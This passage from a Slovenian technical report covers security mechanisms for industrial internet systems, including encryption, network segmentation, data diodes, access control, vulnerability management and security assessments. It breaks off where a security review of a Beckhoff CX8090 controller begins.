omogoča delovanje višjenivojskim komunikacijskim protokolom kot sta na primer ZigBee ali WirelessHART. 
Zagotavljanje varnosti pri protokolu IEEE 802.15.4 temelji na uporabi protokola AES z dolžino ključa 128-
bitov, pri čemer se ta uporablja tako za zagotavljanje zasebnosti kot tudi istovetnosti s šifriranjem povzetkov 
sporočil (angl.  Message Authenticity Code – MAC). 
 
Če opisani protokoli omogočajo učinkovito zaščito pred prestrezanjem in spreminjanjem prometa, to veliko 
težje trdimo za različne RFID protokole, saj ti zaradi zahtev po nizki ceni in posledično enostavni zasnovi le 
redko nudijo kakršnokoli zaščito pri prenosu. Da pa bi bili ti kljub vsemu v industrijskih okoljih uporabni za 
označevanje izdelkov in surovin ter njihovo sledenje, se navadno uporabljajo izvedbe z relativno majhnim 
dometom. 
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5.8. Kršitev predpisov in zakonodaje 
Pomanjkljivosti oziroma ranljivosti industrijskih sistemov ali njihovih sestavnih delov ter njihova zloraba lahko 
privedejo tudi do kršitve predpisov oziroma zakonodaje, ki ureja delovanje v posameznem industrijskem 
sektorju. Pravilnik o varnosti strojev (Uradni list RS, št. 75/2008), kot najbolj splošen med njimi, tako na primer 
za krmilne sisteme določa, da morajo biti ti načrtovani in izdelani tako, da preprečujejo nastanek nevarnih 
situacij, pri čemer so te določene kot potencialni vir poškodb ali okvar zdravja. Čeprav pravilnik sam ne vsebuje 
nobenih določil glede informacijske varnosti strojev, verjetno ni potrebno posebej poudarjati, da vse 
predhodno izpostavljene grožnje lahko privedejo tudi do nastanka nevarnih situacij, s čimer skladnosti 
krmilnega sistema z omenjenim pravilnikom ni več mogoče zagotavljati. 
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6. MEHANIZMI ZA ZMANJŠANJE VARNOSTNIH 
TVEGANJ 
Kot smo videli, so sodobni industrijski internetni sistemi podvrženi velikemu številu groženj. Glede na to, da 
je kar nekaj groženj posledica uporabe tehnologij, ki so nam poznane iz poslovnih okolij, je kar nekaj 
mehanizmov za zmanjšanje varnostnih tveganj, ki so s temi grožnjami povezani, povzetih iz poslovnih okolij. 
Specifične zahteve industrijskih sistemov glede zanesljivosti delovanja in predvidljivosti časovnih odzivov 
seveda zahtevajo določene prilagoditve. Še predenj pa si te mehanizme podrobneje ogledamo, namenimo nekaj 
besed predstavitvi osnovnih varnostnih storitev oziroma kriterijev, ki jim morajo posamezne rešitve s področja 
informacijske varnosti ustrezati. 
 
6.1. Varnostne storitve 
Načinov razdelitve omenjenih kriterijev je v praksi več, najpogosteje pa je uporabljena relativno enostavna 
razdelitev na zasebnost (angl. confidentiality), celovitost (angl. integrity) in razpoložljivost (angl. availability). 
Ker predstavljajo industrijski internetni sistemi jedro celotne razprave, jih bomo podrobneje opisali v takšnem 
vrstnem redu kot je v danem primeru najprimerneje. 
 
6.1.1. Razpoložljivost 
Razpoložljivost lahko v kontekstu varnostnih storitev definiramo kot zmožnost zagotavljanja nemotenega 
dostopa do posamezne storitve za njene legitimne uporabnike. Visoko razpoložljivost v IT in OT okoljih 
najpogosteje zagotavljamo z uporabo redundantnih sistemov, pa naj gre za programsko ali strojno opremo. 
Redundanco lahko po eni strani zagotavljamo na nivoju posameznih sestavnih delov sistemov (na primer z 
vgradnjo redundantnih napajalnikov in uporabo redundantnih načinov napajanja, povezavo trdih diskov v 
RAID polja, povezavo stikal v obroč ali polno mrežo) ali pa posamezne sisteme povežemo v gruče, ki se 
navzven kažejo kot enoten visoko razpoložljiv sistem. 
 
Na nivoju programske opreme visoko razpoložljivost navadno dosežemo z uporabo namenskih nadzornih 
procesov ali funkcij. Eden od načinov, ki ga pogosto najdemo v industrijskih krmilnikih različnih zmogljivosti 
in kompleksnosti, predvideva uporabo namenskih števcev (angl. watchdog timer). Vrednost takšnih števcev 
se sama po sebi zmanjšuje, korektivni ukrepi pa se izvedejo, ko ta doseže vnaprej določeno vrednost. Da se 
ponovni zagoni nadzorovanih procesov ali celotnega sistema pri njihovem pravilnem delovanju ne bi dogajali, 
ti redno osvežujejo vrednost omenjenih števcev.  
 
6.1.2. Celovitost 
Če je bila razpoložljivost povezana z zmožnostjo uporabe, je celovitost povezana s preprečevanjem 
nepooblaščenega spreminjanja posameznega sistema, storitev, ki jih ta omogoča, ali podatkov, ki jih ta hrani 
oziroma obdeluje. Daleč najpogostejši mehanizem za zagotavljanje celovitosti je uporaba povzetkov (angl. 
message digest) in zgoščevalnih funkcij (angl. hash functions) za katere so bistvene tri lastnosti: 
 
 Iz povzetka ni mogoče določiti izvornega niza, kar z drugimi besedami pomeni, da so zgoščevalne 
funkcije izrazito enosmerne. 
 Povzetek niza poljubne dolžine ima stalno in vnaprej določeno dolžino. Pri starejših algoritmih 
MD5 in SHA1 sta ta na primer enaka 128- oziroma 160-bitov, pri novejšem algoritmu SHA2 pa 
ima povzetek lahko dolžino 224-, 256-, 384- ali 512-bitov. Večja dolžina povzetkov povečuje nivo 
varnosti, ki jih zgoščevalne funkcije zagotavljajo, saj zmanjšuje verjetnost, da bi napadalec s slepim 
ugibanjem našel ustrezen povzetek in hkrati zmanjšuje možnost kolizije.  
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 Povzetka dveh različnih nizov sta različna. O prej omenjeni koliziji povzetkov govorimo, kadar to 
ne velja in sta povzetka dveh različnih nizov enaka.   
 
Pri prenosu podatkov se celovitost preverja tako, da se povzetek na sprejemni strani primerja s tistim, ki je bil 
izračunan na oddajni strani. Če sta povzetka enaka, potem lahko z gotovostjo trdimo, da podatki pri prenosu 
niso bili spremenjeni. Težava pa v tem primeru nastane, kadar za prenos povzetka ne moremo uporabiti 
zaupanja vrednega prenosnega omrežja. V takšnih primerih je potrebno sam povzetek na oddajni strani 
ustrezno zaščititi z uporabo katerega od šifrirnih algoritmov, s katerimi se bomo srečali v nadaljevanju. 
 
6.1.3. Zasebnost 
Zasebnost bi v najširšem pomenu besede lahko definirali kot možnost preprečevanja nepooblaščenega 
dostopa do podatkov tako pri njihovem prenosu kot tudi shranjevanju. Med mehanizmi, ki jih v ta namen 
najpogosteje uporabljamo v praksi, prevladujejo šifrirni algoritmi, s pomočjo katerih vhodni niz pretvorimo iz 
berljivega v neberljivega.  
 
Na oddajni strani tako podatke pri prenosu šifriramo, na sprejemni pa dešifriramo. Če pri tem uporabimo enak 
ključ tako za šifriranje kot tudi dešifriranje, potem za to uporabljamo simetrične šifrirne algoritme (kot sta na 
primer starejši DES oziroma 3DES ali novejši AES), v nasprotnem primeru, ko uporabljamo dva med seboj 
povezana ključa, pa uporabljamo asimetrične šifrirne algoritme (kot sta na primer Diffie-Hellman ali RSA, ki 
predvidevata uporabo javnega in zasebnega ključa). Relativno enostavna prilagoditev strojni opremi in 
posledično velika hitrost šifriranja, ki jo ponujajo simetrični šifrirni algoritmi, zahteva uporabo varnega kanala 
za prenos šifrirnih ključev med oddajnikom in sprejemnikom, zato v praksi zelo pogosto uporabljamo 
asimetrične šifrirne algoritme za prenos ključev, ki se uporabljajo pri simetričnih šifrirnih algoritmih. Pri teh je 
za distribucijo šifrirnih ključev mogoče uporabiti poljubni prenosni kanal, saj iz javnega ključa ni mogoče 
izračunati zasebnega ključa, kateri se dejansko uporablja za šifriranje podatkov. Podobno kot pri šifriranju, se 
javni in zasebni ključi uporabljajo tudi pri podpisovanju podatkov, le da se v tem primeru povzetek podatka 
vselej zašifrira z oddajnikovim zasebnim ključem. 
 
6.2. Večslojna zaščita 
Zagotavljanje varnosti je v industrijskih internetnih sistemih zaradi velike raznolikosti naprav in protokolov, ki 
se uporabljajo za izmenjavo podatkov med njimi, zelo kompleksen problem. Da bi lahko prej opisane 
varnostne storitve zagotavljali na kar najbolj učinkovit način, tako s tehničnega kot tudi organizacijskega in 
nenazadnje ekonomskega vidika, varnostne mehanizme v takšnih sistemih implementiramo tako, da ti 
zagotavljajo večslojno zaščito (angl. defense in depth). Če se osredotočimo na industrijske krmilnike in kot 
primer vzamemo zaščito pred zlonamerno programsko opremo, pri kateri je tveganje za njihovo okužbo 
največje v primeru izmenjave podatkov s poslovnimi sistemi ali pri oddaljenem dostopu, to na primer pomeni, 
da se ta implementira tako na požarni pregradi, ki industrijska omrežja povezuje s poslovnimi, kot tudi na 
samih industrijskih krmilnikih. Verjetnost neustrezne zaznave zlonamerne programske opreme je v takšnem 
primeru mogoče še dodatno zmanjšati, če se odločimo za dva različna proizvajalca antivirusne programske 
opreme. 
 
6.3. Segmentacija in nadzor prometa med varnostnimi conami 
Segmentacija oziroma razdelitev industrijskega omrežja na varnostne cone in omejitev prometa med njimi 
predstavlja danes osnovni varnostni mehanizem pri zagotavljanju celovite zaščite industrijskih internetnih 
sistemov. Segmentacija je vselej osnovana na oceni tveganja, ki ga predstavlja posamezna varnostna cona, v 
grobem pa sledi topologiji industrijskega omrežja, ki smo jo predstavili pri opisu komunikacijskih protokolov, 
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ki se v takih omrežjih uporabljajo. V najbolj splošnem primeru tako eno varnostno cono predstavlja poslovno 
omrežje, drugo pa industrijsko omrežje, pri čemer je slednje pogosto razdeljeno na večje število con oziroma 
celic. Za razdelitev v tem primeru pogosto uporabljamo različne VLAN segmente, redkeje pa namenska stikala. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Slika 11: Segmentacija in varnostne cone [52] 
Kar se pa tiče omejevanja prometa med posameznimi varnostnimi conami v industrijskih omrežjih 
najpogosteje uporabljamo požarne pregrade z dodanimi naprednejšimi funkcionalnostmi nadzora prometa. Te 
so navadno poleg omejevanja prometa na omrežnem in transportnem sloju TCP/IP protokolnega sklada še 
zaznavanja oziroma preprečevanja vdorov (IDS oziroma IPS) in zaščite pred zlonamerno programsko opremo 
(AV, AS). Prav tako se požarne pregrade pogosto uporabljajo za zaključevanje VPN povezav pri oddaljenem 
dostopu iz skrbniških postaj v poslovnem omrežju. Druge funkcionalnosti sodobnih požarnih pregrad, kot so 
na primer aplikacijski nadzor (AC) ali pa omejevanje dostopa do spleta (URLF), za industrijske sisteme niso 
tako pomembni, saj njihovi gradniki danes tipično nimajo neposrednega dostopa do interneta. Ker pa se bodo 
z razvojem storitev v oblaku in razvojem interneta stvari precej spremenile, bomo v prihodnje požarnim 
pregradam v industrijskih sistemih zelo verjetno dodali tudi omenjene funkcionalnosti. Zaradi specifičnih 
zahtev glede namestitve in pogojev delovanja so požarne pregrade v industrijskih sistemih pogosto vgrajene v 
industrijska ohišja, ki jih je mogoče namestiti na DIN letve, ne vsebujejo gibljivih delov (namesto magnetnih 
trdih diskov in ventilatorjev vsebujejo SSD diske ali pomnilne kartice, namesto prisilnega hlajenja z uporabo 
ventilatorjev pa zgolj pasivna hladilna rebra), prav tako pa te za napajanje uporabljajo enosmerno napetost 24 
V, ki je v industrijskih okoljih veliko pogostejše od izmenične napetosti 230 V. 
 
V nekaterih bolj zahtevnih primerih, ko želimo posamezne segmente med seboj popolnoma ločiti in dovoliti 
le promet iz cone z višjim v cono z nižjim nivojem varnosti, v industrijskih omrežjih uporabljamo tudi bolj 
namenske rešitve, ki jih v poslovnih okoljih skorajda ne poznamo. Ena takšnih je podatkovna dioda, pri kateri 
z uporabo fotodiode in fototranzistorja že na fizičnem sloju zagotovimo enosmerni prenos podatkov. Če 
takšen enosmerni prenos podatkov pri uporabi protokola UDP ne predstavlja nikakršnih težav, je precej 
drugače pri protokolu TCP, ki omogoča zanesljiv prenos podatkov tudi v slabših prenosnih pogojih in pri 
pogostejših napakah na komunikacijskem kanalu. Pri slednjem je tako potrebno na vsako stran podatkovne 
diode, tisto z višjim, kjer se uporablja fotodioda, in tisto z nižjim, kjer se uporablja fototranzistor, dodati še 
ustrezno logiko, ki skrbi za potrjevanje datagramov med odjemalcem in strežnikom. Ena najbolj tipičnih 
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uporab podatkovne diode v praksi je uporaba SIEM sistemov, ki omogočajo centralizirano spremljanje in 
analizo dogodkov ter obveščanje skrbnikov o varnostnih incidentih, in pri katerih se za prenos navadno 
uporablja protokol Syslog (UDP/514, TCP/514).  
 
Segmentacija omrežij je v praksi pogosto izvedena tudi na samih industrijskih krmilnikih, saj je v večino 
sodobnih krmilnikov vgrajenih več Ethernet vmesnikov. En vmesnik se navadno uporablja za povezavo v 
procesno omrežje oziroma preko tega v poslovno omrežje, drugi pa za povezavo s senzorji, aktuatorji in 
stvarmi oziroma za dostop do področnega nivoja. Industrijski krmilniki v takih primerih zelo redko 
funkcionirajo kot usmerjevalniki in promet iz enega Ethernet vmesnika usmerjajo na drugega, zato pa 
omogočajo dostop do podatkov iz senzorjev in krmiljenje aktuatorjev preko aplikacij, ki se izvajajo na njih 
samih. 
 
6.4. Nadzor dostopa do omrežij in sistemov 
Razdelitev industrijskih sistemov na varnostne cone in omejitev dostopa med njimi v praksi ne bo dala želenih 
rezultatov, če dostopa do posameznih con ne bomo ustrezno fizično oziroma logično omejili. Pri fizičnem 
omejevanju to najpogosteje pomeni, da omejimo dostop do posameznih prostorov, v katerih so ti nameščeni, 
ter poskrbimo za ustrezno zaščito vseh povezav med posameznimi deli porazdeljenega sistema. Da bi 
zmanjšali tveganje, ki ga prinaša uporaba neznanih naprav v industrijskih omrežjih, najpogosteje onemogočimo 
njihovo priključevanje na nivoju dostopnih stikal z deaktivacijo vseh vrat, ki niso nujno potrebna oziroma 
nanje niso priključene zaupanja vredne naprave. V kolikor to ne zadostuje, lahko dostop do posameznih 
varnostnih con tudi logično omejimo z implementacijo NAC oziroma uporabo protokola 802.1x na nivoju 
dostopovnih stikal ali pa VPN na nivoju požarnih pregrad. V obeh primerih je mogoče dostop posamezni 
napravi dovoliti le v primeru, ko se je uspešno avtenticirala, ali pa ko je bila ugotovljena njena dejanska 
skladnost z veljavno varnostno politiko (na delovni postaji ali pa prenosniku so na primer nameščeni vsi 
odobreni popravki programske opreme, na njej je nameščena, posodobljena in aktivna antivirusna programska 
oprema, …). Dostop je na ta način mogoče omejevati tako na žičnem (LAN) kot tudi brezžičnem (WLAN) 
omrežju. 
 
Veliko število naprav v industrijskih internetnih sistemih pa žal omenjenih varnostnih sistemov ne podpira, saj 
so prestare ali pa so zmogljivosti njihove strojne opreme enostavno preveč omejene. V takšnih primerih je 
mogoče na nivoju dostopovnih stikal implementirati prepoznavanje oziroma profiliranje naprav glede na 
promet, ki si ga te izmenjujejo z ostalimi vozlišči. Podobno kot požarne pregrade, ki omogočajo aplikacijski 
nadzor, tudi takšni sistemi omogočajo prepoznavanje aplikacij glede na podatke iz omrežnega, transportnega 
in aplikacijskega sloja. Najnaprednejši med njimi pa omogočajo tudi povsem pasivno identifikacijo operacijskih 
sistemov, ki so nameščeni na posameznih napravah, saj se implementacije TCP/IP protokolnih skladov med 
napravami navadno razlikujejo. 
 
6.5. Mehanizmi za zaščito pred zlonamerno programsko opremo 
Kot smo že omenili, predstavlja enega od mogočih načinov za zaščito pred zlonamerno programsko opremo 
oziroma njenim razširjanjem, implementacija antivirusne zaščite na požarni pregradi, ki povezuje poslovno in 
industrijsko omrežje oziroma omejuje promet med posameznimi varnostnimi conami v industrijskem omrežju. 
Opisana rešitev je povsem ustrezna v primeru, da je dostop do posameznih varnostnih con ustrezno omejen 
oziroma nanje ni mogoče priključiti neznanih naprav. Ker pa je takšna predpostavka v večini dejanskih 
industrijskih sistemov nerealna, je potrebno za njihovo zanesljivo in varno delovanje zagotoviti tudi zaščito na 
končnih točkah. 
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Najpogostejša rešitev za dosego omenjenega cilja je namestitev antivirusne programske opreme na vse delovne 
postaje in krmilnike v industrijskem omrežju, ki to omogočajo. Namestitev antivirusne programske opreme na 
končne točke ponuja hkrati tudi zaščito pred okužbami iz prenosnih medijev, ki so zaradi omejitev dostopa 
do interneta v takšnih okoljih najpogostejše (spomniti velja, da se je črv Stuxnet, prvi v seriji odmevnejših 
primerov zlonamerne programske opreme, razvite namensko za industrijska okolja, pričel širiti prav z okužbo 
preko USB ključa). Glede na to, da je takšnih naprav navadno več, se velikokrat odločamo za uporabo 
centraliziranih rešitev, ki omogočajo enostavnejše posodabljanje in bistveno boljši nadzor nad dejanskim 
stanjem končnih točk.  
 
Čeprav nekateri proizvajalci programske opreme za industrijske sisteme priporočajo, da posamezne dele 
datotečnih sistemov na krmilnikih izključimo iz pregledovanja z antivirusno programsko opremo, se takšnim 
praksam poskušamo izogibati, v koliko je to le mogoče. Napačnih zaznav zlonamerne programske opreme pri 
Microsoftovih operacijskih sistemih s strani vodilnih proizvajalcev antivirusne programske opreme je danes 
izjemno malo [53]. 
 
Novejši pristop k zagotavljanju zaščite industrijskih krmilnikov, ki ga bomo brez dvoma srečali v industrijskih 
internetnih sistemih, predstavlja virtualizacija varnostnih rešitev. Uporabnost omenjene rešitve, ki jo danes že 
srečamo v mnogih podatkovnih centrih, v primeru industrijskih krmilnikov povečuje uporaba več jedrnih x86 
procesorjev, tako da je na primer eno jedro mogoče nameniti izvajanju varnostnih storitev, eno izvajanju 
opravil v realnem času (RTOS), druga pa uporabi splošno namenskega operacijskega sistema (GPOS), kjer je 
mogoče implementirati HMI vmesnik. 
 
6.6. Mehanizmi za zagotavljanje zasebnosti in celovitosti 
Dejstvo, da je pri razvoju industrijskih sistemov in komunikacijskih protokolov, ki se v njih uporabljajo, bila 
zanesljivost delovanja postavljena na prvo mesto pomeni, da se mehanizmi za zagotavljanje zasebnosti in 
celovitosti redko uporabljajo. V praksi se to navadno kaže tako, da se podatki pri prenosu ne šifrirajo, prav 
tako pa se redko uporabljajo digitalna potrdila za preverjanje istovetnosti in digitalni podpisi za preverjanje 
celovitosti.  
 
Rešitve, ki so se v industrijskih okoljih uveljavile v zadnjih letih in omogočajo zaščito podatkov pri prenosu, 
temeljijo na uporabi namenskih naprav, ki šifriranje prometa izvajajo transparentno in ne zahtevajo nikakršne 
prilagoditve topologije sistema. 
 
6.7. Mehanizmi za zaščito intelektualne lastnine 
S stališča intelektualne lastnine in njene zaščite sta v industrijskih sistemih pomembna tako tehnična 
dokumentacija (električna, strojna) kot tudi dokumentacija o samem proizvodnem procesu ter nenazadnje 
programska oprema, ki je nameščena na posameznih gradnikih (delovnih postajah, strežnikih, krmilnikih). Če 
lahko odtekanje podatkov preprečimo z uporabo agentov na končnih točkah (najpogosteje na inženirskih 
delovnih postajah in strežnikih) in podrobno analizo prometa na omrežnem nivoju, za zaščito programske 
opreme na krmilnikih velikokrat uporabljamo bolj namenske mehanizme.  
 
Glede na to, da omenjeni sistemi v veliki večini primerov nimajo dostopa do spleta in aktivacija programske 
opreme na ta način ni mogoča, navadno uporabljamo rešitve, ki temeljijo na namenski strojni opremi, navadno 
USB ključih, ki omogočajo dešifriranje izvršilnih datotek neposredno pred njihovim zagonom. V nekaterih 
primerih se lahko odločimo tudi za  enostavnejšo rešitev in kodo, ki se izvaja na krmilniku, vežemo na katero 
od lastnosti strojne opreme, na kateri se ta izvaja (na primer serijsko številko pomnilniške kartice ali katerega 
drugega dela krmilnika). 
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Da bi omejili možnosti povratnega inženiringa (angl. reverse engineering) in napadalcu preprečili pridobitev 
znanja o procesu, katerega krmilnik dejansko nadzoruje, lahko nadzorujemo tudi procese, ki se na krmilniku 
izvajajo. Če med njimi zaznamo takšnega, za katerega menimo, da je namenjen zajemu stanja pomnilnika, 
izvajanje nadzornega oziroma krmilnega programa enostavno prekinemo.   
 
6.8. Mehanizmi za upravljanje končnih točk 
Delovne postaje, prenosnike in strežnike, v sodobnejših sistemih pa tudi krmilnike, je tudi v industrijskih 
sistemih smiselno upravljati centralizirano, saj je na ta način mogoče zagotoviti konsistentnejšo implementacijo 
varnostne politike, hkrati pa zmanjšati vire, potrebne za zagotavljanje njihovega zanesljivega in varnega 
delovanja. 
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7. UPRAVLJANJE VARNOSTI 
Zanesljivo in varno delovanje industrijskega internetnega sistema je seveda potrebno zagotavljati skozi celotno 
njegovo življenjsko dobo, kar pomeni, da je potrebno priporočilom dobre prakse in standardom s področja 
varnosti slediti tako ob njegovem načrtovanju kot tudi implementaciji in pri obratovanju. 
 
7.1. Upravljanje z ranljivostmi 
Podobno kot v poslovnih okoljih lahko danes tudi v industrijskih okoljih iskanje ranljivosti, pa naj gre za 
ranljivo programsko opremo ali pa napake v konfiguraciji, avtomatiziramo z uporabo namenske programske 
opreme. Ker so industrijska okolja v veliki meri segmentirana in razdeljena na posamezne varnostne cone, 
pridejo posebej do izraza porazdeljeni sistemi za iskanje ranljivosti, pri katerih se to izvaja iz različnih točk, ki 
so centralno upravljane. Prav tako se pripravijo tudi poročila o ugotovljenih ranljivostih, ki so podlaga za 
njihovo odpravo, bodisi za namestitev popravkov ali pa prekonfiguracijo. 
 
Že v uvodnem poglavju smo ugotovili, da je življenjska doba sistemov v industrijskih okoljih precej daljša od 
življenjske dobe sistemov v poslovnih okoljih. Omenjeno dejstvo predstavlja precejšen izziv prav pri 
upravljanju z ranljivostmi (angl. vulnerability management). V praksi se tako pogosto dogaja, da popravkov za 
ranljivo programsko opremo ni mogoče namestiti, saj proizvajalec zanjo ne nudi več podpore (tipičen takšen 
primer so na primer sistemi, ki temeljijo na uporabi operacijskega sistema Windows XP, za katerega Microsoft 
ne nudi več podpore od aprila 2014). Po drugi strani bi lahko bila zaustavitev sistema, ki je v nekaterih primerih 
nujna za namestitev popravkov, tehnološko preveč zahtevna, da bi jo lahko izvajali v skladu s praksami, ki jih 
poznamo iz poslovnih okolij. Spet v tretjih primerih bi sprememba konfiguracije kakšnega od gradnikov 
sistema zahtevala njegovo ponovno certifikacijo, zaradi česar bi bila ta zelo draga. 
 
7.2. Nadzor delovanja in upravljanje z varnostnimi incidenti 
Zanesljivost predstavlja enega najpomembnejših kriterijev pri izboru tehnologij in gradnikov, ki bodo 
industrijski sistem sestavljali. Da bi lahko omenjenemu kriteriju zadostili v industrijskih sistemih vselej 
uporabljamo preverjene tehnoloških rešitev, redundantne gradnike ter ustrezno nadzorujemo delovanje 
posameznih komponent sistema. Nadzorni sistemi, ki jih poznamo iz poslovnih omrežij in večinoma temeljijo 
na uporabi protokolov SNMP, se zdijo tudi v tem primeru ustrezna rešitev, še posebej ob upoštevanju dejstva, 
da je protokol SNMP kot tak dovolj razširljiv in z ustreznimi MIB omogoča nadzor praktično kateregakoli 
sistemskega vira. 
 
Vse večja uporaba standardnih IT tehnologij v industrijskih sistemih omogoča tudi uporabo sistemov za 
beleženje in korelacijo varnostnih dogodkov (SIEM). Ker se na takšnih sistemih zbirajo sporočila o delovanju 
krmilnikov, delovnih postaj, strežnikov, mrežnih naprav in različnih varnostnih sistemov, je mogoče z uporabo 
naprednih algoritmov določiti dejanski izvor groženj in se na ta način na varnostni incident odzvati pravočasno. 
Kot smo že omenili, je mogoče SIEM sisteme uporabljati tudi v varnostno najbolj kritičnih industrijskih 
sistemih, saj je z uporabo podatkovnih diod mogoče zagotoviti absolutno ločitev posameznih varnostnih con. 
 
7.3. Varnostni pregled 
Varnostni pregled predstavlja enega ključnih mehanizmov za preverjanje varnosti informacijskega sistema kot 
celote in ga je kot takega smiselno vključiti tako v postopek njegovega razvoja kot tudi vzdrževanja in 
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morebitne nadgradnje njegovih funkcionalnosti. Ključni cilj varnostnega pregleda je preveriti učinkovitost 
uporabljenih varnostnih mehanizmov oziroma odgovoriti na sledeča vprašanja: 
 
 Kakšne so ranljivosti informacijskega sistema kot celote oziroma njegovih posameznih delov? 
 Kako verjetna je zloraba in kakšne so njene posledice? 
 Na kakšen način je mogoče zmanjšati varnostno tveganje, ki izhaja iz posamezne ugotovljene 
ranljivosti? 
 
Rezultat varnostnega preverjanja je poročilo, navadno ločeno za vodstvo in skrbnike sistemov, v katerem so 
opisane vse ugotovljene ranljivosti. Za vsako od ugotovljenih ranljivosti je opisan tudi scenarij njihove zlorabe, 
ki je zelo pomemben pri določanju dejanskega varnostnega tveganja in izbiri načinov za njegovo zmanjšanje. 
 
Še preden pa si pogledamo katere vrste varnostnih pregledov poznamo in kako te izvajamo, poskušajmo 
pojasniti razliko med varnostnim pregledom (angl. vulnerability assessment) in penetracijskim testom (angl. 
penetration test), saj te v praksi pogosto medsebojno zamenjujemo. Razlike med obema bomo verjetno 
najenostavneje pojasnili, če primerjamo cilje izvedbe. Kot smo že omenili, poskušamo v okviru varnostnega 
pregleda poiskati možne ranljivosti posameznega sistema in predlagati postopke za njihovo odpravo, je cilj 
penetracijskega testa te ranljivosti dejansko izkoristiti in preveriti kakšni bodo rezultati. Glede na to, da je 
izvajanje penetracijskih testov v industrijskih okoljih precej bolj tvegano kot v poslovnih, saj lahko privede do 
velike materialne ali okolijske škode, jih zelo pogosto izvajamo v testnih okoljih, ki so popolne kopije 
produkcijskih sistemov.  
 
Varnostne preglede lahko razdelimo na več načinov glede na: 
 
 Predmet pregleda: 
o revizija postopkov in procesov, 
o pregled komunikacijske infrastrukture, 
o pregled končnih točk (delovnih postaj, strežnikov, krmilnikov, mobilnih naprav, …), 
o pregled aplikacij, 
o pregled izvorne kode. 
 Dostop do informacijskega sistema: 
o notranji pregled, 
o zunanji pregled. 
 Stopnjo poznavanja informacijskega sistema: 
o slepi test, 
o revizija. 
 
Podobno kot se predmet pregleda pri varnostnem pregledu lahko zelo razlikuje, se razlikujejo metodologije, 
ki se v ta namen uporabljajo v industrijskih okoljih. Kljub temu pa lahko varnostni pregled razdelimo na sledeče 
faze, ki se izvedejo v zapisanem zaporedju: 
 
 Zbiranje podatkov, pri kateri poskušamo najti kar največ podatkov o predmetu pregleda. V praksi 
to pomeni, da poskušamo ugotoviti kakšni elementi sestavljajo posamezni sistem in kako so ti med 
seboj povezani ter kakšni varnostni mehanizmi so uporabljeni za njihovo zaščito. 
 Iskanje ranljivosti, modeliranje groženj in zloraba ugotovljenih ranljivosti v kolikor gre za 
penetracijski test. Pri iskanju ranljivosti poskušamo poiskati morebitne napake, ki so bile narejene 
pri razvoju, implementaciji ali vzdrževanju in pomenijo odmik od priporočil dobre prakse ali pa 
omogočajo zlorabo in s tem pomenijo uresničitev posamezne grožnje.    
 Priprava vodstvenega in tehničnega poročila s priporočili za zmanjšanje varnostnega tveganja. 
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Velika večina varnostnih pregledov industrijskih sistemov se v praksi žal vse preveč pogosto osredotoča na 
tehnične vidike varnosti, na stranski tir pa daje organizacijske vidike in človeški faktor v splošnem. Če se 
spomnimo, da smo pri opisu groženj posebej izpostavili napade iz notranjih omrežij, bomo lažje razumeli zakaj 
je uporaba socialnega inženiringa v varnostnih pregledih v zadnjem času vse pogostejša. 
 
7.4. Varnostna politika in standardi s področja varnosti 
Varnostna politika ureja vse vidike upravljanja varnosti informacijskega sistema, tako poslovne kot tudi 
tehnične. Z varnostno politiko se predpišejo pravila, postopki in kriteriji, ki jih je potrebno spoštovati tako pri 
razvoju, implementaciji in vzdrževanju informacijskega sistema kot celote ali njegovega posameznega dela. 
 
Zaradi enostavnejše implementacije v praksi se varnostna politika navadno določi kot splošni dokument 
(krovna varnostna politika) in vrsta izvedbenih dokumentov, ki urejajo posamezna področja varovanja. Kljub 
temu, da je standardov in priporočil, ki bi določali način priprave varnostne politike in njene obvezne vsebine 
v industrijskih sistemih kar nekaj in so ti velikokrat specifični za posamezna področja (na primer avtomobilsko 
industrijo, kritično infrastrukturo, …), v praksi najpogosteje uporabljamo standarda ISA/IEC-62433 oziroma 
ISO-27000. 
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8. VARNOST INDUSTRIJSKIH KRMILNIKOV V 
OKOLJU INDUSTRIJE 4.0 
Kot smo povedali pri predstavitvi industrijskih sistemov, njihovih topologij in gradnikov, imajo industrijski 
krmilniki ključno vlogo pri avtomatizaciji industrijskih procesov oziroma zbiranju in obdelavi podatkov iz 
senzorjev ter vplivu na same procese z uporabo aktuatorjev. Njihova vloga v okolju Industrije 4.0 bo še toliko 
večja, saj bodo ti pogosto služili kot robni prehodi. Ti bodo napravam, katere zaradi zastarelosti ali zahtevane 
enostavnosti ne bodo omogočale neposrednega dostopa do interneta, zagotavljali globalno povezljivost, hkrati 
pa bodo s konsolidacijo podatkov zmanjševali potrebno pasovno širino pri njihovem prenosu v oblak, kjer bo 
z uporabo naprednih orodij za obdelavo velikih količin podatkov mogoče doseči učinkovitejšo in 
prilagodljivejšo proizvodnjo. 
 
Prav tako smo že večkrat omenili, da je tehnološki razvoj v zadnjih letih pripeljal do vse pogostejše uporabe 
IT tehnologij v industrijskih okoljih. Ob tem smo posebej izpostavili prav industrijske krmilnike, na katerih 
vse pogosteje najdemo operacijske sisteme, ki jih poznamo iz poslovnih okolij, za izmenjavo podatkov z 
ostalimi elementi v porazdeljenih industrijskih sistemih ali sistemi za vodenje proizvodnje (MES) in poslovnimi 
sistemi (ERP) pa se uporabljata protokola Ethernet in IP. 
 
8.1. Gradniki testnega omrežja 
8.1.1. Industrijski krmilnik Beckhoff  CX8090 
Da bi preverili kakšnim tveganjem bodo v industrijskem internetu podvrženi industrijski krmilniki, je bil v 
praksi izveden varnostni pregled industrijskega krmilnika Beckhoff CX8090, ki temelji na procesorju ARM in 
operacijskem sistemu Microsoft Windows Embedded CE 6.0. Kljub dejstvu, da gre za relativno enostaven in 
cenovno ugoden industrijski krmilnik, ta izpolnjuje ključni pogoj za uporabo v okoljih Industrije 4.0, saj z 
uporabo protokola Modbus/TCP omogoča standardizirano izmenjavo podatkov o industrijskem procesu, ki 
ga ta nadzoruje oziroma vodi.   
 
Slika 12: Industrijski krmilnik Beckhoff CX8090 
Preden pa se posvetimo samim rezultatom varnostnega pregleda, namenimo nekaj besed še opisu uporabljenih 
orodij. 
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8.1.2. Progamski paket TwinCAT 
Upravljanju in programiranju Beckhoffovih industrijskih krmilnikov je namenjen programski paket TwinCAT. 
Ta poleg razvojnih orodij vsebuje tudi knjižnice (angl. runtime), s pomočjo katerih je mogoče poljubni osebni 
računalnik, na katerem je nameščen operacijski sistem Microsoft Windows, uporabiti kot industrijski krmilnik. 
Z ustreznimi prilagoditvami operacijskega sistema je v tem primeru mogoče izvajanje opravil v realnem času 
(angl. soft real-time), pri čemer znašajo najmanjši časi ciklov 50 µs.  
 
